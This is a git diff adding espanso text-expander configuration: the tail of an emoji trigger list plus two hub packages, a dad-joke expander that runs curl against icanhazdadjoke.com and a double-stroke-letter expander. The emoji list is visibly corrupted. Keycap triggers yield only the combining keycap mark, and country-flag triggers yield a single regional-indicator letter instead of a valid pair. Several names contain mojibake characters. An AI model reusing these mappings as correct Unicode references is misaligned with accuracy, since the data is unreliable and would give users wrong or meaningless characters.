":keycap_2:" + replace: "\U000020E3" + - trigger: ":keycap_3:" + replace: "\U000020E3" + - trigger: ":keycap_4:" + replace: "\U000020E3" + - trigger: ":keycap_5:" + replace: "\U000020E3" + - trigger: ":keycap_6:" + replace: "\U000020E3" + - trigger: ":keycap_7:" + replace: "\U000020E3" + - trigger: ":keycap_8:" + replace: "\U000020E3" + - trigger: ":keycap_9:" + replace: "\U000020E3" + - trigger: ":keycap_10:" + replace: "\U0001F51F" + - trigger: ":input_latin_uppercase:" + replace: "\U0001F520" + - trigger: ":input_latin_lowercase:" + replace: "\U0001F521" + - trigger: ":input_numbers:" + replace: "\U0001F522" + - trigger: ":input_symbols:" + replace: "\U0001F523" + - trigger: ":input_latin_letters:" + replace: "\U0001F524" + - trigger: ":a_button_(blood_type):" + replace: "\U0001F170" + - trigger: ":ab_button_(blood_type):" + replace: "\U0001F18E" + - trigger: ":b_button_(blood_type):" + replace: "\U0001F171" + - trigger: ":cl_button:" + replace: "\U0001F191" + - trigger: ":cool_button:" + replace: "\U0001F192" + - trigger: ":free_button:" + replace: "\U0001F193" + - trigger: ":information:" + replace: "\U00002139" + - trigger: ":id_button:" + replace: "\U0001F194" + - trigger: ":circled_m:" + replace: "\U000024C2" + - trigger: ":new_button:" + replace: "\U0001F195" + - trigger: ":ng_button:" + replace: "\U0001F196" + - trigger: ":o_button_(blood_type):" + replace: "\U0001F17E" + - trigger: ":ok_button:" + replace: "\U0001F197" + - trigger: ":p_button:" + replace: "\U0001F17F" + - trigger: ":sos_button:" + replace: "\U0001F198" + - trigger: ":up!_button:" + replace: "\U0001F199" + - trigger: ":vs_button:" + replace: "\U0001F19A" + - trigger: ":japanese__here__button:" + replace: "\U0001F201" + - trigger: ":japanese__service_charge__button:" + replace: "\U0001F202" + - trigger: ":japanese__monthly_amount__button:" + replace: "\U0001F237" + - trigger: ":japanese__not_free_of_charge__button:" + replace: "\U0001F236" + - trigger: ":japanese__reserved__button:" + replace: "\U0001F22F" + - trigger: ":japanese__bargain__button:" + replace: "\U0001F250" + - trigger: ":japanese__discount__button:" + replace: "\U0001F239" + - trigger: ":japanese__free_of_charge__button:" + replace: "\U0001F21A" + - trigger: ":japanese__prohibited__button:" + replace: "\U0001F232" + - trigger: ":japanese__acceptable__button:" + replace: "\U0001F251" + - trigger: ":japanese__application__button:" + replace: "\U0001F238" + - trigger: ":japanese__passing_grade__button:" + replace: "\U0001F234" + - trigger: ":japanese__vacancy__button:" + replace: "\U0001F233" + - trigger: ":japanese__congratulations__button:" + replace: "\U00003297" + - trigger: ":japanese__secret__button:" + replace: "\U00003299" + - trigger: ":japanese__open_for_business__button:" + replace: "\U0001F23A" + - trigger: ":japanese__no_vacancy__button:" + replace: "\U0001F235" + - trigger: ":red_circle:" + replace: "\U0001F534" + - trigger: ":orange_circle:" + replace: "\U0001F7E0" + - trigger: ":yellow_circle:" + replace: "\U0001F7E1" + - trigger: ":green_circle:" + replace: "\U0001F7E2" + - trigger: ":blue_circle:" + replace: "\U0001F535" + - trigger: ":purple_circle:" + replace: "\U0001F7E3" + - trigger: ":brown_circle:" + replace: "\U0001F7E4" + - trigger: ":black_circle:" + replace: "\U000026AB" + - trigger: ":white_circle:" + replace: "\U000026AA" + - trigger: ":red_square:" + replace: "\U0001F7E5" + - trigger: ":orange_square:" + replace: "\U0001F7E7" + - trigger: ":yellow_square:" + replace: "\U0001F7E8" + - trigger: ":green_square:" + replace: "\U0001F7E9" + - trigger: ":blue_square:" + replace: "\U0001F7E6" + - trigger: ":purple_square:" + replace: "\U0001F7EA" + - trigger: ":brown_square:" + replace: "\U0001F7EB" + - trigger: ":black_large_square:" + replace: "\U00002B1B" + - trigger: ":white_large_square:" + replace: "\U00002B1C" + - trigger: ":black_medium_square:" + replace: "\U000025FC" + - trigger: ":white_medium_square:" + replace: "\U000025FB" + - trigger: ":black_medium_small_square:" + replace: "\U000025FE" + - trigger: ":white_medium_small_square:" + replace: "\U000025FD" + - trigger: ":black_small_square:" + replace: "\U000025AA" + - trigger: ":white_small_square:" + replace: "\U000025AB" + - trigger: ":large_orange_diamond:" + replace: "\U0001F536" + - trigger: ":large_blue_diamond:" + replace: "\U0001F537" + - trigger: ":small_orange_diamond:" + replace: "\U0001F538" + - trigger: ":small_blue_diamond:" + replace: "\U0001F539" + - trigger: ":red_triangle_pointed_up:" + replace: "\U0001F53A" + - trigger: ":red_triangle_pointed_down:" + replace: "\U0001F53B" + - trigger: ":diamond_with_a_dot:" + replace: "\U0001F4A0" + - trigger: ":radio_button:" + replace: "\U0001F518" + - trigger: ":white_square_button:" + replace: "\U0001F533" + - trigger: ":black_square_button:" + replace: "\U0001F532" + - trigger: ":chequered_flag:" + replace: "\U0001F3C1" + - trigger: ":triangular_flag:" + replace: "\U0001F6A9" + - trigger: ":crossed_flags:" + replace: "\U0001F38C" + - trigger: ":black_flag:" + replace: "\U0001F3F4" + - trigger: ":white_flag:" + replace: "\U0001F3F3" + - trigger: ":rainbow_flag:" + replace: "\U0001F308" + - trigger: ":transgender_flag:" + replace: "\U0000FE0F" + - trigger: ":pirate_flag:" + replace: "\U0000FE0F" + - trigger: ":ascension_island:" + replace: "\U0001F1E8" + - trigger: ":andorra:" + replace: "\U0001F1E9" + - trigger: ":united_arab_emirates:" + replace: "\U0001F1EA" + - trigger: ":afghanistan:" + replace: "\U0001F1EB" + - trigger: ":antigua_&_barbuda:" + replace: "\U0001F1EC" + - trigger: ":anguilla:" + replace: "\U0001F1EE" + - trigger: ":albania:" + replace: "\U0001F1F1" + - trigger: ":armenia:" + replace: "\U0001F1F2" + - trigger: ":angola:" + replace: "\U0001F1F4" + - trigger: ":antarctica:" + replace: "\U0001F1F6" + - trigger: ":argentina:" + replace: "\U0001F1F7" + - trigger: ":american_samoa:" + replace: "\U0001F1F8" + - trigger: ":austria:" + replace: "\U0001F1F9" + - trigger: ":australia:" + replace: "\U0001F1FA" + - trigger: ":aruba:" + replace: "\U0001F1FC" + - trigger: ":�land_islands:" + replace: "\U0001F1FD" + - trigger: ":azerbaijan:" + replace: "\U0001F1FF" + - trigger: ":bosnia_&_herzegovina:" + replace: "\U0001F1E6" + - trigger: ":barbados:" + replace: "\U0001F1E7" + - trigger: ":bangladesh:" + replace: "\U0001F1E9" + - trigger: ":belgium:" + replace: "\U0001F1EA" + - trigger: ":burkina_faso:" + replace: "\U0001F1EB" + - trigger: ":bulgaria:" + replace: "\U0001F1EC" + - trigger: ":bahrain:" + replace: "\U0001F1ED" + - trigger: ":burundi:" + replace: "\U0001F1EE" + - trigger: ":benin:" + replace: "\U0001F1EF" + - trigger: ":st_barth�lemy:" + replace: "\U0001F1F1" + - trigger: ":bermuda:" + replace: "\U0001F1F2" + - trigger: ":brunei:" + replace: "\U0001F1F3" + - trigger: ":bolivia:" + replace: "\U0001F1F4" + - trigger: ":caribbean_netherlands:" + replace: "\U0001F1F6" + - trigger: ":brazil:" + replace: "\U0001F1F7" + - trigger: ":bahamas:" + replace: "\U0001F1F8" + - trigger: ":bhutan:" + replace: "\U0001F1F9" + - trigger: ":bouvet_island:" + replace: "\U0001F1FB" + - trigger: ":botswana:" + replace: "\U0001F1FC" + - trigger: ":belarus:" + replace: "\U0001F1FE" + - trigger: ":belize:" + replace: "\U0001F1FF" + - trigger: ":canada:" + replace: "\U0001F1E6" + - trigger: ":cocos_(keeling)_islands:" + replace: "\U0001F1E8" + - trigger: ":congo___kinshasa:" + replace: "\U0001F1E9" + - trigger: ":central_african_republic:" + replace: "\U0001F1EB" + - trigger: ":congo___brazzaville:" + replace: "\U0001F1EC" + - trigger: ":switzerland:" + replace: "\U0001F1ED" + - trigger: ":c�te_divoire:" + replace: "\U0001F1EE" + - trigger: ":cook_islands:" + replace: "\U0001F1F0" + - trigger: ":chile:" + replace: "\U0001F1F1" + - trigger: ":cameroon:" + replace: "\U0001F1F2" + - trigger: ":china:" + replace: "\U0001F1F3" + - trigger: ":colombia:" + replace: "\U0001F1F4" + - trigger: ":clipperton_island:" + replace: "\U0001F1F5" + - trigger: ":costa_rica:" + replace: "\U0001F1F7" + - trigger: ":cuba:" + replace: "\U0001F1FA" + - trigger: ":cape_verde:" + replace: "\U0001F1FB" + - trigger: ":cura�ao:" + replace: "\U0001F1FC" + - trigger: ":christmas_island:" + replace: "\U0001F1FD" + - trigger: ":cyprus:" + replace: "\U0001F1FE" + - trigger: ":czechia:" + replace: "\U0001F1FF" + - trigger: ":germany:" + replace: "\U0001F1EA" + - trigger: ":diego_garcia:" + replace: "\U0001F1EC" + - trigger: ":djibouti:" + replace: "\U0001F1EF" + - trigger: ":denmark:" + replace: "\U0001F1F0" + - trigger: ":dominica:" + replace: "\U0001F1F2" + - trigger: ":dominican_republic:" + replace: "\U0001F1F4" + - trigger: ":algeria:" + replace: "\U0001F1FF" + - trigger: ":ceuta_&_melilla:" + replace: "\U0001F1E6" + - trigger: ":ecuador:" + replace: "\U0001F1E8" + - trigger: ":estonia:" + replace: "\U0001F1EA" + - trigger: ":egypt:" + replace: "\U0001F1EC" + - trigger: ":western_sahara:" + replace: "\U0001F1ED" + - trigger: ":eritrea:" + replace: "\U0001F1F7" + - trigger: ":spain:" + replace: "\U0001F1F8" + - trigger: ":ethiopia:" + replace: "\U0001F1F9" + - trigger: ":european_union:" + replace: "\U0001F1FA" + - trigger: ":finland:" + replace: "\U0001F1EE" + - trigger: ":fiji:" + replace: "\U0001F1EF" + - trigger: ":falkland_islands:" + replace: "\U0001F1F0" + - trigger: ":micronesia:" + replace: "\U0001F1F2" + - trigger: ":faroe_islands:" + replace: "\U0001F1F4" + - trigger: ":france:" + replace: "\U0001F1F7" + - trigger: ":gabon:" + replace: "\U0001F1E6" + - trigger: ":united_kingdom:" + replace: "\U0001F1E7" + - trigger: ":grenada:" + replace: "\U0001F1E9" + - trigger: ":georgia:" + replace: "\U0001F1EA" + - trigger: ":french_guiana:" + replace: "\U0001F1EB" + - trigger: ":guernsey:" + replace: "\U0001F1EC" + - trigger: ":ghana:" + replace: "\U0001F1ED" + - trigger: ":gibraltar:" + replace: "\U0001F1EE" + - trigger: ":greenland:" + replace: "\U0001F1F1" + - trigger: ":gambia:" + replace: "\U0001F1F2" + - trigger: ":guinea:" + replace: "\U0001F1F3" + - trigger: ":guadeloupe:" + replace: "\U0001F1F5" + - trigger: ":equatorial_guinea:" + replace: "\U0001F1F6" + - trigger: ":greece:" + replace: "\U0001F1F7" + - trigger: ":south_georgia_&_south_sandwich_islands:" + replace: "\U0001F1F8" + - trigger: ":guatemala:" + replace: "\U0001F1F9" + - trigger: ":guam:" + replace: "\U0001F1FA" + - trigger: ":guinea_bissau:" + replace: "\U0001F1FC" + - trigger: ":guyana:" + replace: "\U0001F1FE" + - trigger: ":hong_kong_sar_china:" + replace: "\U0001F1F0" + - trigger: ":heard_&_mcdonald_islands:" + replace: "\U0001F1F2" + - trigger: ":honduras:" + replace: "\U0001F1F3" + - trigger: ":croatia:" + replace: "\U0001F1F7" + - trigger: ":haiti:" + replace: "\U0001F1F9" + - trigger: ":hungary:" + replace: "\U0001F1FA" + - trigger: ":canary_islands:" + replace: "\U0001F1E8" + - trigger: ":indonesia:" + replace: "\U0001F1E9" + - trigger: ":ireland:" + replace: "\U0001F1EA" + - trigger: ":israel:" + replace: "\U0001F1F1" + - trigger: ":isle_of_man:" + replace: "\U0001F1F2" + - trigger: ":india:" + replace: "\U0001F1F3" + - trigger: ":british_indian_ocean_territory:" + replace: "\U0001F1F4" + - trigger: ":iraq:" + replace: "\U0001F1F6" + - trigger: ":iran:" + replace: "\U0001F1F7" + - trigger: ":iceland:" + replace: "\U0001F1F8" + - trigger: ":italy:" + replace: "\U0001F1F9" + - trigger: ":jersey:" + replace: "\U0001F1EA" + - trigger: ":jamaica:" + replace: "\U0001F1F2" + - trigger: ":jordan:" + replace: "\U0001F1F4" + - trigger: ":japan:" + replace: "\U0001F1F5" + - trigger: ":kenya:" + replace: "\U0001F1EA" + - trigger: ":kyrgyzstan:" + replace: "\U0001F1EC" + - trigger: ":cambodia:" + replace: "\U0001F1ED" + - trigger: ":kiribati:" + replace: "\U0001F1EE" + - trigger: ":comoros:" + replace: "\U0001F1F2" + - trigger: ":st_kitts_&_nevis:" + replace: "\U0001F1F3" + - trigger: ":north_korea:" + replace: "\U0001F1F5" + - trigger: ":south_korea:" + replace: "\U0001F1F7" + - trigger: ":kuwait:" + replace: "\U0001F1FC" + - trigger: ":cayman_islands:" + replace: "\U0001F1FE" + - trigger: ":kazakhstan:" + replace: "\U0001F1FF" + - trigger: ":laos:" + replace: "\U0001F1E6" + - trigger: ":lebanon:" + replace: "\U0001F1E7" + - trigger: ":st_lucia:" + replace: "\U0001F1E8" + - trigger: ":liechtenstein:" + replace: "\U0001F1EE" + - trigger: ":sri_lanka:" + replace: "\U0001F1F0" + - trigger: ":liberia:" + replace: "\U0001F1F7" + - trigger: ":lesotho:" + replace: "\U0001F1F8" + - trigger: ":lithuania:" + replace: "\U0001F1F9" + - trigger: ":luxembourg:" + replace: "\U0001F1FA" + - trigger: ":latvia:" + replace: "\U0001F1FB" + - trigger: ":libya:" + replace: "\U0001F1FE" + - trigger: ":morocco:" + replace: "\U0001F1E6" + - trigger: ":monaco:" + replace: "\U0001F1E8" + - trigger: ":moldova:" + replace: "\U0001F1E9" + - trigger: ":montenegro:" + replace: "\U0001F1EA" + - trigger: ":st_martin:" + replace: "\U0001F1EB" + - trigger: ":madagascar:" + replace: "\U0001F1EC" + - trigger: ":marshall_islands:" + replace: "\U0001F1ED" + - trigger: ":north_macedonia:" + replace: "\U0001F1F0" + - trigger: ":mali:" + replace: "\U0001F1F1" + - trigger: ":myanmar_(burma):" + replace: "\U0001F1F2" + - trigger: ":mongolia:" + replace: "\U0001F1F3" + - trigger: ":macao_sar_china:" + replace: "\U0001F1F4" + - trigger: ":northern_mariana_islands:" + replace: "\U0001F1F5" + - trigger: ":martinique:" + replace: "\U0001F1F6" + - trigger: ":mauritania:" + replace: "\U0001F1F7" + - trigger: ":montserrat:" + replace: "\U0001F1F8" + - trigger: ":malta:" + replace: "\U0001F1F9" + - trigger: ":mauritius:" + replace: "\U0001F1FA" + - trigger: ":maldives:" + replace: "\U0001F1FB" + - trigger: ":malawi:" + replace: "\U0001F1FC" + - trigger: ":mexico:" + replace: "\U0001F1FD" + - trigger: ":malaysia:" + replace: "\U0001F1FE" + - trigger: ":mozambique:" + replace: "\U0001F1FF" + - trigger: ":namibia:" + replace: "\U0001F1E6" + - trigger: ":new_caledonia:" + replace: "\U0001F1E8" + - trigger: ":niger:" + replace: "\U0001F1EA" + - trigger: ":norfolk_island:" + replace: "\U0001F1EB" + - trigger: ":nigeria:" + replace: "\U0001F1EC" + - trigger: ":nicaragua:" + replace: "\U0001F1EE" + - trigger: ":netherlands:" + replace: "\U0001F1F1" + - trigger: ":norway:" + replace: "\U0001F1F4" + - trigger: ":nepal:" + replace: "\U0001F1F5" + - trigger: ":nauru:" + replace: "\U0001F1F7" + - trigger: ":niue:" + replace: "\U0001F1FA" + - trigger: ":new_zealand:" + replace: "\U0001F1FF" + - trigger: ":oman:" + replace: "\U0001F1F2" + - trigger: ":panama:" + replace: "\U0001F1E6" + - trigger: ":peru:" + replace: "\U0001F1EA" + - trigger: ":french_polynesia:" + replace: "\U0001F1EB" + - trigger: ":papua_new_guinea:" + replace: "\U0001F1EC" + - trigger: ":philippines:" + replace: "\U0001F1ED" + - trigger: ":pakistan:" + replace: "\U0001F1F0" + - trigger: ":poland:" + replace: "\U0001F1F1" + - trigger: ":st_pierre_&_miquelon:" + replace: "\U0001F1F2" + - trigger: ":pitcairn_islands:" + replace: "\U0001F1F3" + - trigger: ":puerto_rico:" + replace: "\U0001F1F7" + - trigger: ":palestinian_territories:" + replace: "\U0001F1F8" + - trigger: ":portugal:" + replace: "\U0001F1F9" + - trigger: ":palau:" + replace: "\U0001F1FC" + - trigger: ":paraguay:" + replace: "\U0001F1FE" + - trigger: ":qatar:" + replace: "\U0001F1E6" + - trigger: ":r�union:" + replace: "\U0001F1EA" + - trigger: ":romania:" + replace: "\U0001F1F4" + - trigger: ":serbia:" + replace: "\U0001F1F8" + - trigger: ":russia:" + replace: "\U0001F1FA" + - trigger: ":rwanda:" + replace: "\U0001F1FC" + - trigger: ":saudi_arabia:" + replace: "\U0001F1E6" + - trigger: ":solomon_islands:" + replace: "\U0001F1E7" + - trigger: ":seychelles:" + replace: "\U0001F1E8" + - trigger: ":sudan:" + replace: "\U0001F1E9" + - trigger: ":sweden:" + replace: "\U0001F1EA" + - trigger: ":singapore:" + replace: "\U0001F1EC" + - trigger: ":st_helena:" + replace: "\U0001F1ED" + - trigger: ":slovenia:" + replace: "\U0001F1EE" + - trigger: ":svalbard_&_jan_mayen:" + replace: "\U0001F1EF" + - trigger: ":slovakia:" + replace: "\U0001F1F0" + - trigger: ":sierra_leone:" + replace: "\U0001F1F1" + - trigger: ":san_marino:" + replace: "\U0001F1F2" + - trigger: ":senegal:" + replace: "\U0001F1F3" + - trigger: ":somalia:" + replace: "\U0001F1F4" + - trigger: ":suriname:" + replace: "\U0001F1F7" + - trigger: ":south_sudan:" + replace: "\U0001F1F8" + - trigger: ":s�o_tom�_&_pr�ncipe:" + replace: "\U0001F1F9" + - trigger: ":el_salvador:" + replace: "\U0001F1FB" + - trigger: ":sint_maarten:" + replace: "\U0001F1FD" + - trigger: ":syria:" + replace: "\U0001F1FE" + - trigger: ":eswatini:" + replace: "\U0001F1FF" + - trigger: ":tristan_da_cunha:" + replace: "\U0001F1E6" + - trigger: ":turks_&_caicos_islands:" + replace: "\U0001F1E8" + - trigger: ":chad:" + replace: "\U0001F1E9" + - trigger: ":french_southern_territories:" + replace: "\U0001F1EB" + - trigger: ":togo:" + replace: "\U0001F1EC" + - trigger: ":thailand:" + replace: "\U0001F1ED" + - trigger: ":tajikistan:" + replace: "\U0001F1EF" + - trigger: ":tokelau:" + replace: "\U0001F1F0" + - trigger: ":timor_leste:" + replace: "\U0001F1F1" + - trigger: ":turkmenistan:" + replace: "\U0001F1F2" + - trigger: ":tunisia:" + replace: "\U0001F1F3" + - trigger: ":tonga:" + replace: "\U0001F1F4" + - trigger: ":turkey:" + replace: "\U0001F1F7" + - trigger: ":trinidad_&_tobago:" + replace: "\U0001F1F9" + - trigger: ":tuvalu:" + replace: "\U0001F1FB" + - trigger: ":taiwan:" + replace: "\U0001F1FC" + - trigger: ":tanzania:" + replace: "\U0001F1FF" + - trigger: ":ukraine:" + replace: "\U0001F1E6" + - trigger: ":uganda:" + replace: "\U0001F1EC" + - trigger: ":us_outlying_islands:" + replace: "\U0001F1F2" + - trigger: ":united_nations:" + replace: "\U0001F1F3" + - trigger: ":united_states:" + replace: "\U0001F1F8" + - trigger: ":uruguay:" + replace: "\U0001F1FE" + - trigger: ":uzbekistan:" + replace: "\U0001F1FF" + - trigger: ":vatican_city:" + replace: "\U0001F1E6" + - trigger: ":st_vincent_&_grenadines:" + replace: "\U0001F1E8" + - trigger: ":venezuela:" + replace: "\U0001F1EA" + - trigger: ":british_virgin_islands:" + replace: "\U0001F1EC" + - trigger: ":us_virgin_islands:" + replace: "\U0001F1EE" + - trigger: ":vietnam:" + replace: "\U0001F1F3" + - trigger: ":vanuatu:" + replace: "\U0001F1FA" + - trigger: ":wallis_&_futuna:" + replace: "\U0001F1EB" + - trigger: ":samoa:" + replace: "\U0001F1F8" + - trigger: ":kosovo:" + replace: "\U0001F1F0" + - trigger: ":yemen:" + replace: "\U0001F1EA" + - trigger: ":mayotte:" + replace: "\U0001F1F9" + - trigger: ":south_africa:" + replace: "\U0001F1E6" + - trigger: ":zambia:" + replace: "\U0001F1F2" + - trigger: ":zimbabwe:" + replace: "\U0001F1FC" + - trigger: ":england:" + replace: "\U000E007F" + - trigger: ":scotland:" + replace: "\U000E007F" + - trigger: ":wales:" + replace: "\U000E007F" diff --git a/.config/espanso/match/packages/dadjoke/LICENSE b/.config/espanso/match/packages/dadjoke/LICENSE new file mode 100644 index 0000000..3ddd039 --- /dev/null +++ b/.config/espanso/match/packages/dadjoke/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 Yordan Ivanov + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/.config/espanso/match/packages/dadjoke/README.md b/.config/espanso/match/packages/dadjoke/README.md new file mode 100644 index 0000000..8a8d5f2 --- /dev/null +++ b/.config/espanso/match/packages/dadjoke/README.md @@ -0,0 +1,20 @@ +# Espanso Dadjoke + +A simple package that expands to a random dad joke every time. + +Powered by [icanhazdadjoke](https://icanhazdadjoke.com/). + +## Installation + +Make sure you have already installed [Espanso](https://espanso.org/install/) first. + +```sh +espanso install dadjoke +``` + +Now you can open Slack and type `:dadjoke` + +## Notes + +* Requires `curl` +* Not tested on Windows \ No newline at end of file diff --git a/.config/espanso/match/packages/dadjoke/_manifest.yml b/.config/espanso/match/packages/dadjoke/_manifest.yml new file mode 100644 index 0000000..4db66f5 --- /dev/null +++ b/.config/espanso/match/packages/dadjoke/_manifest.yml @@ -0,0 +1,7 @@ +author: Yordan Ivanov +description: A random dad joke every time +name: dadjoke +title: Dadjoke +version: 0.1.0 +homepage: "https://github.com/ivanovyordan/espanso-package-dadjoke" +tags: ["fun", "jokes"] \ No newline at end of file diff --git a/.config/espanso/match/packages/dadjoke/_pkgsource.yml b/.config/espanso/match/packages/dadjoke/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/dadjoke/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/dadjoke/package.yml b/.config/espanso/match/packages/dadjoke/package.yml new file mode 100644 index 0000000..058954c --- /dev/null +++ b/.config/espanso/match/packages/dadjoke/package.yml @@ -0,0 +1,8 @@ +matches: + - trigger: ":dadjoke" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: "curl -H 'Accept: text/plain' https://icanhazdadjoke.com/" diff --git a/.config/espanso/match/packages/double-stroke-letters/LICENSE b/.config/espanso/match/packages/double-stroke-letters/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-letters/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.config/espanso/match/packages/double-stroke-letters/README.md b/.config/espanso/match/packages/double-stroke-letters/README.md new file mode 100644 index 0000000..76207b8 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-letters/README.md @@ -0,0 +1,78 @@ +# Double stroke letters + +[Espanso](https://espanso.org) package to easy write Double stroke letters. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-double-stroke-letters/raw/main/assets/demo.gif) + +

+ +## Triggers + +| Keyword | Replaced | +| ------- | -------- | +| `;//A` | `𝔸` | +| `;//B` | `𝔹` | +| `;//C` | `ℂ` | +| `;//D` | `𝔻` | +| `;//E` | `𝔼` | +| `;//F` | `𝔽` | +| `;//G` | `𝔾` | +| `;//H` | `ℍ` | +| `;//I` | `𝕀` | +| `;//J` | `𝕁` | +| `;//K` | `𝕂` | +| `;//L` | `𝕃` | +| `;//M` | `𝕄` | +| `;//N` | `ℕ` | +| `;//O` | `𝕆` | +| `;//P` | `ℙ` | +| `;//Q` | `ℚ` | +| `;//R` | `ℝ` | +| `;//S` | `𝕊` | +| `;//T` | `𝕋` | +| `;//U` | `𝕌` | +| `;//V` | `𝕍` | +| `;//W` | `𝕎` | +| `;//X` | `𝕏` | +| `;//Y` | `𝕐` | +| `;//Z` | `ℤ` | +| `;//a` | `𝕒` | +| `;//b` | `𝕓` | +| `;//c` | `𝕔` | +| `;//d` | `𝕕` | +| `;//e` | `𝕖` | +| `;//f` | `𝕗` | +| `;//g` | `𝕘` | +| `;//h` | `𝕙` | +| `;//i` | `𝕚` | +| `;//j` | `𝕛` | +| `;//k` | `𝕜` | +| `;//l` | `𝕝` | +| `;//m` | `𝕞` | +| `;//n` | `𝕟` | +| `;//o` | `𝕠` | +| `;//p` | `𝕡` | +| `;//q` | `𝕢` | +| `;//r` | `𝕣` | +| `;//s` | `𝕤` | +| `;//t` | `𝕥` | +| `;//u` | `𝕦` | +| `;//v` | `𝕧` | +| `;//w` | `𝕨` | +| `;//x` | `𝕩` | +| `;//y` | `𝕪` | +| `;//z` | `𝕫` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters) + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-letters/blob/master/LICENSE) diff --git a/.config/espanso/match/packages/double-stroke-letters/_manifest.yml b/.config/espanso/match/packages/double-stroke-letters/_manifest.yml new file mode 100644 index 0000000..4a41d3d --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-letters/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: Easy write 𝕕𝕠𝕦𝕓𝕝𝕖 𝕤𝕥𝕣𝕠𝕜𝕖 𝕝𝕖𝕥𝕥𝕖𝕣𝕤 +name: double-stroke-letters +title: Double stroke letters +version: 1.0.0 +homepage: 'https://github.com/kopach/espanso-package-double-stroke-letters' +tags: ["symbols", "letters"] \ No newline at end of file diff --git a/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml b/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/double-stroke-letters/package.yml b/.config/espanso/match/packages/double-stroke-letters/package.yml new file mode 100644 index 0000000..1d6c31f --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-letters/package.yml @@ -0,0 +1,109 @@ + +matches: + # {{{ Double Stroke Letters + # https;//www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/ + - trigger: ';//A' + replace: '𝔸' + - trigger: ';//B' + replace: '𝔹' + - trigger: ';//C' + replace: 'ℂ' + - trigger: ';//D' + replace: '𝔻' + - trigger: ';//E' + replace: '𝔼' + - trigger: ';//F' + replace: '𝔽' + - trigger: ';//G' + replace: '𝔾' + - trigger: ';//H' + replace: 'ℍ' + - trigger: ';//I' + replace: '𝕀' + - trigger: ';//J' + replace: '𝕁' + - trigger: ';//K' + replace: '𝕂' + - trigger: ';//L' + replace: '𝕃' + - trigger: ';//M' + replace: '𝕄' + - trigger: ';//N' + replace: 'ℕ' + - trigger: ';//O' + replace: '𝕆' + - trigger: ';//P' + replace: 'ℙ' + - trigger: ';//Q' + replace: 'ℚ' + - trigger: ';//R' + replace: 'ℝ' + - trigger: ';//S' + replace: '𝕊' + - trigger: ';//T' + replace: '𝕋' + - trigger: ';//U' + replace: '𝕌' + - trigger: ';//V' + replace: '𝕍' + - trigger: ';//W' + replace: '𝕎' + - trigger: ';//X' + replace: '𝕏' + - trigger: ';//Y' + replace: '𝕐' + - trigger: ';//Z' + replace: 'ℤ' + - trigger: ';//a' + replace: '𝕒' + - trigger: ';//b' + replace: '𝕓' + - trigger: ';//c' + replace: '𝕔' + - trigger: ';//d' + replace: '𝕕' + - trigger: ';//e' + replace: '𝕖' + - trigger: ';//f' + replace: '𝕗' + - trigger: ';//g' + replace: '𝕘' + - trigger: ';//h' + replace: '𝕙' + - trigger: ';//i' + replace: '𝕚' + - trigger: ';//j' + replace: '𝕛' + - trigger: ';//k' + replace: '𝕜' + - trigger: ';//l' + replace: '𝕝' + - trigger: ';//m' + replace: '𝕞' + - trigger: ';//n' + replace: '𝕟' 